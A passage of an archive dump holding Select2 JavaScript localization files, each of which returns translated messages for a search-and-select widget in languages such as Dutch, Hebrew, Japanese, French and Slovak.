    inputTooShort: function (args) {
      var n = args.minimum - args.input.length;

      if (n == 1) {
        return 'Prosím, zadejte ještě jeden znak.';
      } else if (n <= 4) {
        return 'Prosím, zadejte ještě další ' + small(n, true) + ' znaky.';
      } else {
        return 'Prosím, zadejte ještě dalších ' + n + ' znaků.';
      }
    },
    loadingMore: function () {
      return 'Načítají se další výsledky…';
    },
    maximumSelected: function (args) {
      var n = args.maximum;

      if (n == 1) {
        return 'Můžete zvolit jen jednu položku.';
      } else if (n <= 4) {
        return 'Můžete zvolit maximálně ' + small(n, false) + ' položky.';
      } else {
        return 'Můžete zvolit maximálně ' + n + ' položek.';
      }
    },
    noResults: function () {
      return 'Nenalezeny žádné položky.';
    },
    searching: function () {
      return 'Vyhledávání…';
    }
  };
});
PK�}�\f�&�jjjs/select2/i18n/nl.jsnu�[���define(function () {
  // Dutch
  return {
    errorLoading: function () {
      return 'De resultaten konden niet worden geladen.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Gelieve ' + overChars + ' karakters te verwijderen';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Gelieve ' + remainingChars +
        ' of meer karakters in te voeren';

      return message;
    },
    loadingMore: function () {
      return 'Meer resultaten laden…';
    },
    maximumSelected: function (args) {
      var verb = args.maximum == 1 ? 'kan' : 'kunnen';
      var message = 'Er ' + verb + ' maar ' + args.maximum + ' item';

      if (args.maximum != 1) {
        message += 's';
      }
      message += ' worden geselecteerd';

      return message;
    },
    noResults: function () {
      return 'Geen resultaten gevonden…';
    },
    searching: function () {
      return 'Zoeken…';
    }
  };
});
PK�}�\��a���js/select2/i18n/eu.jsnu�[���define(function () {
  // Basque
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Idatzi ';

      if (overChars == 1) {
        message += 'karaktere bat';
      } else {
        message += overChars + ' karaktere';
      }

      message += ' gutxiago';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Idatzi ';

      if (remainingChars == 1) {
        message += 'karaktere bat';
      } else {
        message += remainingChars + ' karaktere';
      }

      message += ' gehiago';

      return message;
    },
    loadingMore: function () {
      return 'Emaitza gehiago kargatzen…';
    },
    maximumSelected: function (args) {
      if (args.maximum === 1) {
        return 'Elementu bakarra hauta dezakezu';
      } else {
        return args.maximum + ' elementu hauta ditzakezu soilik';
      }
    },
    noResults: function () {
      return 'Ez da bat datorrenik aurkitu';
    },
    searching: function () {
      return 'Bilatzen…';
    }
  };
});
PK�}�\����js/select2/i18n/hy.jsnu�[���define(function () {
  // Armenian
  return {
    errorLoading: function () {
      return 'Արդյունքները հնարավոր չէ բեռնել։';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Խնդրում ենք հեռացնել ' + overChars + ' նշան';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Խնդրում ենք մուտքագրել ' + remainingChars +
        ' կամ ավել նշաններ';

      return message;
    },
    loadingMore: function () {
      return 'Բեռնվում են նոր արդյունքներ․․․';
    },
    maximumSelected: function (args) {
      var message = 'Դուք կարող եք ընտրել առավելագույնը ' + args.maximum +
        ' կետ';

      return message;
    },
    noResults: function () {
      return 'Արդյունքներ չեն գտնվել';
    },
    searching: function () {
      return 'Որոնում․․․';
    }
  };
});
PK�}�\=�LLjs/select2/i18n/he.jsnu�[���define(function () {
  // Hebrew
  return {
    errorLoading: function () {
      return 'שגיאה בטעינת התוצאות';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'נא למחוק ';

      if (overChars === 1) {
        message += 'תו אחד';
      } else {
        message += overChars + ' תווים';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'נא להכניס ';

      if (remainingChars === 1) {
        message += 'תו אחד';
      } else {
        message += remainingChars + ' תווים';
      }

      message += ' או יותר';

      return message;
    },
    loadingMore: function () {
      return 'טוען תוצאות נוספות…';
    },
    maximumSelected: function (args) {
      var message = 'באפשרותך לבחור עד ';

      if (args.maximum === 1) {
        message += 'פריט אחד';
      } else {
        message += args.maximum + ' פריטים';
      }

      return message;
    },
    noResults: function () {
      return 'לא נמצאו תוצאות';
    },
    searching: function () {
      return 'מחפש…';
    }
  };
});
PK�}�\��R	��js/select2/i18n/ja.jsnu�[���define(function () {
  // Japanese
  return {
    errorLoading: function () {
      return '結果が読み込まれませんでした';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = overChars + ' 文字を削除してください';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = '少なくとも ' + remainingChars + ' 文字を入力してください';

      return message;
    },
    loadingMore: function () {
      return '読み込み中…';
    },
    maximumSelected: function (args) {
      var message = args.maximum + ' 件しか選択できません';

      return message;
    },
    noResults: function () {
      return '対象が見つかりません';
    },
    searching: function () {
      return '検索しています…';
    }
  };
});
PK�}�\N����js/select2/i18n/fr.jsnu�[���define(function () {
  // French
  return {
    errorLoading: function () {
      return 'Les résultats ne peuvent pas être chargés.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Supprimez ' + overChars + ' caractère' +
        ((overChars > 1) ? 's' : '');
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Saisissez au moins ' + remainingChars + ' caractère' +
        ((remainingChars > 1) ? 's' : '');
    },
    loadingMore: function () {
      return 'Chargement de résultats supplémentaires…';
    },
    maximumSelected: function (args) {
      return 'Vous pouvez seulement sélectionner ' + args.maximum +
        ' élément' + ((args.maximum > 1) ? 's' : '');
    },
    noResults: function () {
      return 'Aucun résultat trouvé';
    },
    searching: function () {
      return 'Recherche en cours…';
    }
  };
});
PK�}�\]�׋��js/select2/i18n/is.jsnu�[���define(function () {
  // Icelandic
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Vinsamlegast styttið texta um ' + overChars + ' staf';

      if (overChars <= 1) {
        return message;
      }

      return message + 'i';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Vinsamlegast skrifið ' + remainingChars + ' staf';

      if (remainingChars > 1) {
        message += 'i';
      }

      message += ' í viðbót';

      return message;
    },
    loadingMore: function () {
      return 'Sæki fleiri niðurstöður…';
    },
    maximumSelected: function (args) {
      return 'Þú getur aðeins valið ' + args.maximum + ' atriði';
    },
    noResults: function () {
      return 'Ekkert fannst';
    },
    searching: function () {
      return 'Leita…';
    }
  };
});
PK�}�\@�H���js/select2/i18n/bg.jsnu�[���define(function () {
  // Bulgarian
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Моля въведете с ' + overChars + ' по-малко символ';

      if (overChars > 1) {
        message += 'a';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Моля въведете още ' + remainingChars + ' символ';

      if (remainingChars > 1) {
        message += 'a';
      }

      return message;
    },
    loadingMore: function () {
      return 'Зареждат се още…';
    },
    maximumSelected: function (args) {
      var message = 'Можете да направите до ' + args.maximum + ' ';

      if (args.maximum > 1) {
        message += 'избора';
      } else {
        message += 'избор';
      }

      return message;
    },
    noResults: function () {
      return 'Няма намерени съвпадения';
    },
    searching: function () {
      return 'Търсене…';
    }
  };
});
PK�}�\�$6<OOjs/select2/i18n/bs.jsnu�[���define(function () {
  // Bosnian
  function ending (count, one, some, many) {
    if (count % 10 == 1 && count % 100 != 11) {
      return one;
    }

    if (count % 10 >= 2 && count % 10 <= 4 &&
      (count % 100 < 12 || count % 100 > 14)) {
        return some;
    }

    return many;
  }

  return {
    errorLoading: function () {
      return 'Preuzimanje nije uspijelo.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Obrišite ' + overChars + ' simbol';

      message += ending(overChars, '', 'a', 'a');

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Ukucajte bar još ' + remainingChars + ' simbol';

      message += ending(remainingChars, '', 'a', 'a');

      return message;
    },
    loadingMore: function () {
      return 'Preuzimanje još rezultata…';
    },
    maximumSelected: function (args) {
      var message = 'Možete izabrati samo ' + args.maximum + ' stavk';

      message += ending(args.maximum, 'u', 'e', 'i');

      return message;
    },
    noResults: function () {
      return 'Ništa nije pronađeno';
    },
    searching: function () {
      return 'Pretraga…';
    }
  };
});
PK�}�\�֘m��js/select2/i18n/hsb.jsnu�[���define(function () {
  // Upper Sorbian
  var charsWords = ['znamješko', 'znamješce', 'znamješka','znamješkow'];
  var itemsWords = ['zapisk', 'zapiskaj', 'zapiski','zapiskow'];

  var pluralWord = function pluralWord(numberOfChars, words) {
    if (numberOfChars === 1) {
        return words[0];
    } else if (numberOfChars === 2) {
      return words[1];
    }  else if (numberOfChars > 2 && numberOfChars <= 4) {
      return words[2];
    } else if (numberOfChars >= 5) {
      return words[3];
    }
  };
  
  return {
    errorLoading: function () {
      return 'Wuslědki njedachu so začitać.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Prošu zhašej ' + overChars + ' ' + 
        pluralWord(overChars, charsWords);
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;
      
      return 'Prošu zapodaj znajmjeńša ' + remainingChars + ' ' +
        pluralWord(remainingChars, charsWords);
    },
    loadingMore: function () {
      return 'Dalše wuslědki so začitaja…';
    },
    maximumSelected: function (args) {
      return 'Móžeš jenož ' + args.maximum + ' ' +
        pluralWord(args.maximum, itemsWords) + 'wubrać';
    },
    noResults: function () {
      return 'Žane wuslědki namakane';
    },
    searching: function () {
      return 'Pyta so…';
    }
  };
});
PK�}�\
�V;��js/select2/i18n/vi.jsnu�[���define(function () {
  // Vietnamese
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Vui lòng nhập ít hơn ' + overChars + ' ký tự';

      if (overChars != 1) {
        message += 's';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Vui lòng nhập nhiều hơn ' + remainingChars + ' ký tự';

      return message;
    },
    loadingMore: function () {
      return 'Đang lấy thêm kết quả…';
    },
    maximumSelected: function (args) {
      var message = 'Chỉ có thể chọn được ' + args.maximum + ' lựa chọn';

      return message;
    },
    noResults: function () {
      return 'Không tìm thấy kết quả';
    },
    searching: function () {
      return 'Đang tìm…';
    }
  };
});
PK�}�\�%���js/select2/i18n/es.jsnu�[���define(function () {
  // Spanish
  return {
    errorLoading: function () {
      return 'No se pudieron cargar los resultados';
    },
    inputTooLong: function (args) {
      var remainingChars = args.input.length - args.maximum;

      var message = 'Por favor, elimine ' + remainingChars + ' car';

      if (remainingChars == 1) {
        message += 'ácter';
      } else {
        message += 'acteres';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Por favor, introduzca ' + remainingChars + ' car';

      if (remainingChars == 1) {
        message += 'ácter';
      } else {
        message += 'acteres';
      }

      return message;
    },
    loadingMore: function () {
      return 'Cargando más resultados…';
    },
    maximumSelected: function (args) {
      var message = 'Sólo puede seleccionar ' + args.maximum + ' elemento';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'No se encontraron resultados';
    },
    searching: function () {
      return 'Buscando…';
    }
  };
});
PK�}�\f�n\\js/select2/i18n/hu.jsnu�[���define(function () {
  // Hungarian
  return {
    errorLoading: function () {
      return 'Az eredmények betöltése nem sikerült.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Túl hosszú. ' + overChars + ' karakterrel több, mint kellene.';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Túl rövid. Még ' + remainingChars + ' karakter hiányzik.';
    },
    loadingMore: function () {
      return 'Töltés…';
    },
    maximumSelected: function (args) {
      return 'Csak ' + args.maximum + ' elemet lehet kiválasztani.';
    },
    noResults: function () {
      return 'Nincs találat.';
    },
    searching: function () {
      return 'Keresés…';
    }
  };
});
PK�}�\��D��js/select2/i18n/ca.jsnu�[���define(function () {
  // Catalan
  return {
    errorLoading: function () {
      return 'La càrrega ha fallat';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Si us plau, elimina ' + overChars + ' car';

      if (overChars == 1) {
        message += 'àcter';
      } else {
        message += 'àcters';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Si us plau, introdueix ' + remainingChars + ' car';

      if (remainingChars == 1) {
        message += 'àcter';
      } else {
        message += 'àcters';
      }

      return message;
    },
    loadingMore: function () {
      return 'Carregant més resultats…';
    },
    maximumSelected: function (args) {
      var message = 'Només es pot seleccionar ' + args.maximum + ' element';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'No s\'han trobat resultats';
    },
    searching: function () {
      return 'Cercant…';
    }
  };
});
PK�}�\'�,phhjs/select2/i18n/pt-BR.jsnu�[���define(function () {
  // Brazilian Portuguese
  return {
    errorLoading: function () {
      return 'Os resultados não puderam ser carregados.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Apague ' + overChars + ' caracter';

      if (overChars != 1) {
        message += 'es';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Digite ' + remainingChars + ' ou mais caracteres';

      return message;
    },
    loadingMore: function () {
      return 'Carregando mais resultados…';
    },
    maximumSelected: function (args) {
      var message = 'Você só pode selecionar ' + args.maximum + ' ite';

      if (args.maximum == 1) {
        message += 'm';
      } else {
        message += 'ns';
      }

      return message;
    },
    noResults: function () {
      return 'Nenhum resultado encontrado';
    },
    searching: function () {
      return 'Buscando…';
    }
  };
});
PK�}�\sgh�22js/select2/i18n/hr.jsnu�[���define(function () {
  // Croatian
  function character (n) {
    var message = ' ' + n + ' znak';

    if (n % 10 < 5 && n % 10 > 0 && (n % 100 < 5 || n % 100 > 19)) {
      if (n % 10 > 1) {
        message += 'a';
      }
    } else {
      message += 'ova';
    }

    return message;
  }

  return {
    errorLoading: function () {
      return 'Preuzimanje nije uspjelo.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Unesite ' + character(overChars);
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Unesite još ' + character(remainingChars);
    },
    loadingMore: function () {
      return 'Učitavanje rezultata…';
    },
    maximumSelected: function (args) {
      return 'Maksimalan broj odabranih stavki je ' + args.maximum;
    },
    noResults: function () {
      return 'Nema rezultata';
    },
    searching: function () {
      return 'Pretraga…';
    }
  };
});
PK�}�\��v��js/select2/i18n/th.jsnu�[���define(function () {
  // Thai
  return {
    errorLoading: function () {
      return 'ไม่สามารถค้นข้อมูลได้';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'โปรดลบออก ' + overChars + ' ตัวอักษร';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'โปรดพิมพ์เพิ่มอีก ' + remainingChars + ' ตัวอักษร';

      return message;
    },
    loadingMore: function () {
      return 'กำลังค้นข้อมูลเพิ่ม…';
    },
    maximumSelected: function (args) {
      var message = 'คุณสามารถเลือกได้ไม่เกิน ' + args.maximum + ' รายการ';

      return message;
    },
    noResults: function () {
      return 'ไม่พบข้อมูล';
    },
    searching: function () {
      return 'กำลังค้นข้อมูล…';
    }
  };
});
PK�}�\�E2`js/select2/i18n/en.jsnu�[���define(function () {
  // English
  return {
    errorLoading: function () {
      return 'The results could not be loaded.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Please delete ' + overChars + ' character';

      if (overChars != 1) {
        message += 's';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Please enter ' + remainingChars + ' or more characters';

      return message;
    },
    loadingMore: function () {
      return 'Loading more results…';
    },
    maximumSelected: function (args) {
      var message = 'You can only select ' + args.maximum + ' item';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'No results found';
    },
    searching: function () {
      return 'Searching…';
    }
  };
});
PK�}�\6&1��js/select2/i18n/el.jsnu�[���define(function () {
  // Greek (el)
  return {
    errorLoading: function () {
      return 'Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Παρακαλώ διαγράψτε ' + overChars + ' χαρακτήρ';

      if (overChars == 1) {
        message += 'α';
      }
      if (overChars != 1) {
        message += 'ες';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Παρακαλώ συμπληρώστε ' + remainingChars +
        ' ή περισσότερους χαρακτήρες';

      return message;
    },
    loadingMore: function () {
      return 'Φόρτωση περισσότερων αποτελεσμάτων…';
    },
    maximumSelected: function (args) {
      var message = 'Μπορείτε να επιλέξετε μόνο ' + args.maximum + ' επιλογ';

      if (args.maximum == 1) {
        message += 'ή';
      }

      if (args.maximum != 1) {
        message += 'ές';
      }

      return message;
    },
    noResults: function () {
      return 'Δεν βρέθηκαν αποτελέσματα';
    },
    searching: function () {
      return 'Αναζήτηση…';
    }
  };
});PK�}�\�]~y��js/select2/i18n/sv.jsnu�[���define(function () {
  // Swedish
  return {
    errorLoading: function () {
      return 'Resultat kunde inte laddas.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Vänligen sudda ut ' + overChars + ' tecken';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Vänligen skriv in ' + remainingChars +
                    ' eller fler tecken';

      return message;
    },
    loadingMore: function () {
      return 'Laddar fler resultat…';
    },
    maximumSelected: function (args) {
      var message = 'Du kan max välja ' + args.maximum + ' element';

      return message;
    },
    noResults: function () {
      return 'Inga träffar';
    },
    searching: function () {
      return 'Söker…';
    }
  };
});
PK�}�\�e�Z44js/select2/i18n/pl.jsnu�[���define(function () {
  // Polish
  var charsWords = ['znak', 'znaki', 'znaków'];
  var itemsWords = ['element', 'elementy', 'elementów'];

  var pluralWord = function pluralWord(numberOfChars, words) {
    if (numberOfChars === 1) {
        return words[0];
    } else if (numberOfChars > 1 && numberOfChars <= 4) {
      return words[1];
    } else if (numberOfChars >= 5) {
      return words[2];
    }
  };
  
  return {
    errorLoading: function () {
      return 'Nie można załadować wyników.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Usuń ' + overChars + ' ' + pluralWord(overChars, charsWords);
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;
      
      return 'Podaj przynajmniej ' + remainingChars + ' ' +
        pluralWord(remainingChars, charsWords);
    },
    loadingMore: function () {
      return 'Trwa ładowanie…';
    },
    maximumSelected: function (args) {
      return 'Możesz zaznaczyć tylko ' + args.maximum + ' ' +
        pluralWord(args.maximum, itemsWords);
    },
    noResults: function () {
      return 'Brak wyników';
    },
    searching: function () {
      return 'Trwa wyszukiwanie…';
    }
  };
});
PK�}�\&��((js/select2/i18n/sl.jsnu�[���define(function () {
  // Slovene
  return {
    errorLoading: function () {
      return 'Zadetkov iskanja ni bilo mogoče naložiti.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Prosim zbrišite ' + overChars + ' znak';

      if (overChars == 2) {
        message += 'a';
      } else if (overChars != 1) {
        message += 'e';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Prosim vpišite še ' + remainingChars + ' znak';

      if (remainingChars == 2) {
        message += 'a';
      } else if (remainingChars != 1) {
        message += 'e';
      }

      return message;
    },
    loadingMore: function () {
      return 'Nalagam več zadetkov…';
    },
    maximumSelected: function (args) {
      var message = 'Označite lahko največ ' + args.maximum + ' predmet';

      if (args.maximum == 2) {
        message += 'a';
      } else if (args.maximum != 1) {
        message += 'e';
      }

      return message;
    },
    noResults: function () {
      return 'Ni zadetkov.';
    },
    searching: function () {
      return 'Iščem…';
    }
  };
});
PK�}�\'5�;;js/select2/i18n/zh-TW.jsnu�[���define(function () {
  // Chinese (Traditional)
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = '請刪掉' + overChars + '個字元';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = '請再輸入' + remainingChars + '個字元';

      return message;
    },
    loadingMore: function () {
      return '載入中…';
    },
    maximumSelected: function (args) {
      var message = '你只能選擇最多' + args.maximum + '項';

      return message;
    },
    noResults: function () {
      return '沒有找到相符的項目';
    },
    searching: function () {
      return '搜尋中…';
    }
  };
});
PK�}�\0�}�''js/select2/i18n/pt.jsnu�[���define(function () {
  // European Portuguese
  return {
    errorLoading: function () {
      return 'Os resultados não puderam ser carregados.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Por favor apague ' + overChars + ' ';

      message += overChars != 1 ? 'caracteres' : 'caractere';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Introduza ' + remainingChars + ' ou mais caracteres';

      return message;
    },
    loadingMore: function () {
      return 'A carregar mais resultados…';
    },
    maximumSelected: function (args) {
      var message = 'Apenas pode seleccionar ' + args.maximum + ' ';

      message += args.maximum != 1 ? 'itens' : 'item';

      return message;
    },
    noResults: function () {
      return 'Sem resultados';
    },
    searching: function () {
      return 'A procurar…';
    }
  };
});
PK�}�\.�f��js/select2/i18n/it.jsnu�[���define(function () {
  // Italian
  return {
    errorLoading: function () {
      return 'I risultati non possono essere caricati.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Per favore cancella ' + overChars + ' caratter';

      if (overChars !== 1) {
        message += 'i';
      } else {
        message += 'e';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Per favore inserisci ' +remainingChars+ ' o più caratteri';

      return message;
    },
    loadingMore: function () {
      return 'Caricando più risultati…';
    },
    maximumSelected: function (args) {
      var message = 'Puoi selezionare solo ' + args.maximum + ' element';

      if (args.maximum !== 1) {
        message += 'i';
      } else {
        message += 'o';
      }

      return message;
    },
    noResults: function () {
      return 'Nessun risultato trovato';
    },
    searching: function () {
      return 'Sto cercando…';
    }
  };
});
PK�}�\M^��++js/select2/i18n/id.jsnu�[���define(function () {
  // Indonesian
  return {
    errorLoading: function () {
      return 'Data tidak boleh diambil.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Hapuskan ' + overChars + ' huruf';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Masukkan ' + remainingChars + ' huruf lagi';
    },
    loadingMore: function () {
      return 'Mengambil data…';
    },
    maximumSelected: function (args) {
      return 'Anda hanya dapat memilih ' + args.maximum + ' pilihan';
    },
    noResults: function () {
      return 'Tidak ada data yang sesuai';
    },
    searching: function () {
      return 'Mencari…';
    }
  };
});
PK�}�\Y-e�22js/select2/i18n/af.jsnu�[���define(function () {
  // English
  return {
    errorLoading: function () {
      return 'Die resultate kon nie gelaai word nie.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Verwyders asseblief ' + overChars + ' character';

      if (overChars != 1) {
        message += 's';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Voer asseblief ' + remainingChars + ' of meer karakters';

      return message;
    },
    loadingMore: function () {
      return 'Meer resultate word gelaai…';
    },
    maximumSelected: function (args) {
      var message = 'Kies asseblief net ' + args.maximum + ' item';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'Geen resultate gevind';
    },
    searching: function () {
      return 'Besig…';
    }
  };
});
PK�}�\lΊ�js/select2/i18n/ro.jsnu�[���define(function () {
  // Romanian
  return {
    errorLoading: function () {
      return 'Rezultatele nu au putut fi incărcate.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Vă rugăm să ștergeți' + overChars + ' caracter';

      if (overChars !== 1) {
        message += 'e';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Vă rugăm să introduceți ' + remainingChars +
        ' sau mai multe caractere';

      return message;
    },
    loadingMore: function () {
      return 'Se încarcă mai multe rezultate…';
    },
    maximumSelected: function (args) {
      var message = 'Aveți voie să selectați cel mult ' + args.maximum;
      message += ' element';

      if (args.maximum !== 1) {
        message += 'e';
      }

      return message;
    },
    noResults: function () {
      return 'Nu au fost găsite rezultate';
    },
    searching: function () {
      return 'Căutare…';
    }
  };
});
PK�}�\�l��js/select2/i18n/mk.jsnu�[���define(function () {
  // Macedonian
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Ве молиме внесете ' + args.maximum + ' помалку карактер';

      if (args.maximum !== 1) {
        message += 'и';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Ве молиме внесете уште ' + args.maximum + ' карактер';

      if (args.maximum !== 1) {
        message += 'и';
      }

      return message;
    },
    loadingMore: function () {
      return 'Вчитување резултати…';
    },
    maximumSelected: function (args) {
      var message = 'Можете да изберете само ' + args.maximum + ' ставк';

      if (args.maximum === 1) {
        message += 'а';
      } else {
        message += 'и';
      }

      return message;
    },
    noResults: function () {
      return 'Нема пронајдено совпаѓања';
    },
    searching: function () {
      return 'Пребарување…';
    }
  };
});
PK�}�\(+��FFjs/select2/i18n/fi.jsnu�[���define(function () {
  // Finnish
  return {
    errorLoading: function () {
      return 'Tuloksia ei saatu ladattua.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Ole hyvä ja anna ' + overChars + ' merkkiä vähemmän';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Ole hyvä ja anna ' + remainingChars + ' merkkiä lisää';
    },
    loadingMore: function () {
      return 'Ladataan lisää tuloksia…';
    },
    maximumSelected: function (args) {
      return 'Voit valita ainoastaan ' + args.maximum + ' kpl';
    },
    noResults: function () {
      return 'Ei tuloksia';
    },
    searching: function () {
      return 'Haetaan…';
    }
  };
});
PK�}�\D�)@@js/select2/i18n/gl.jsnu�[���define(function () {
  // Galician
  return {
    errorLoading: function () {
      return 'Non foi posíbel cargar os resultados.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      if (overChars === 1) {
        return 'Elimine un carácter';
      }
      return 'Elimine ' + overChars + ' caracteres';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      if (remainingChars === 1) {
        return 'Engada un carácter';
      }
      return 'Engada ' + remainingChars + ' caracteres';
    },
    loadingMore: function () {
      return 'Cargando máis resultados…';
    },
    maximumSelected: function (args) {
      if (args.maximum === 1) {
        return 'Só pode seleccionar un elemento';
      }
      return 'Só pode seleccionar ' + args.maximum + ' elementos';
    },
    noResults: function () {
      return 'Non se atoparon resultados';
    },
    searching: function () {
      return 'Buscando…';
    }
  };
});PK�}�\�#�\xxjs/select2/i18n/sk.jsnu�[���define(function () {
  // Slovak

  // use text for the numbers 2 through 4
  var smallNumbers = {
    2: function (masc) { return (masc ? 'dva' : 'dve'); },
    3: function () { return 'tri'; },
    4: function () { return 'štyri'; }
  };

  return {
    errorLoading: function () {
      return 'Výsledky sa nepodarilo načítať.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      if (overChars == 1) {
        return 'Prosím, zadajte o jeden znak menej';
      } else if (overChars >= 2 && overChars <= 4) {
        return 'Prosím, zadajte o ' + smallNumbers[overChars](true) +
          ' znaky menej';
      } else {
        return 'Prosím, zadajte o ' + overChars + ' znakov menej';
      }
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      if (remainingChars == 1) {
        return 'Prosím, zadajte ešte jeden znak';
      } else if (remainingChars <= 4) {
        return 'Prosím, zadajte ešte ďalšie ' +
          smallNumbers[remainingChars](true) + ' znaky';
      } else {
        return 'Prosím, zadajte ešte ďalších ' + remainingChars + ' znakov';
      }
    },
    loadingMore: function () {
      return 'Načítanie ďalších výsledkov…';
    },
    maximumSelected: function (args) {
      if (args.maximum == 1) {
        return 'Môžete zvoliť len jednu položku';
      } else if (args.maximum >= 2 && args.maximum <= 4) {
        return 'Môžete zvoliť najviac ' + smallNumbers[args.maximum](false) +
          ' položky';
      } else {
        return 'Môžete zvoliť najviac ' + args.maximum + ' položiek';
      }
    },
    noResults: function () {
      return 'Nenašli sa žiadne položky';
    },
    searching: function () {
      return 'Vyhľadávanie…';
    }
  };
});
PK�}�\޷	��js/select2/i18n/da.jsnu�[���define(function () {
  // Danish
  return {
    errorLoading: function () {
      return 'Resultaterne kunne ikke indlæses.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Angiv venligst ' + overChars + ' tegn mindre';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Angiv venligst ' + remainingChars + ' tegn mere';
    },
    loadingMore: function () {
      return 'Indlæser flere resultater…';
    },
    maximumSelected: function (args) {
      var message = 'Du kan kun vælge ' + args.maximum + ' emne';

      if (args.maximum != 1) {
        message += 'r';
      }

      return message;
    },
    noResults: function () {
      return 'Ingen resultater fundet';
    },
    searching: function () {
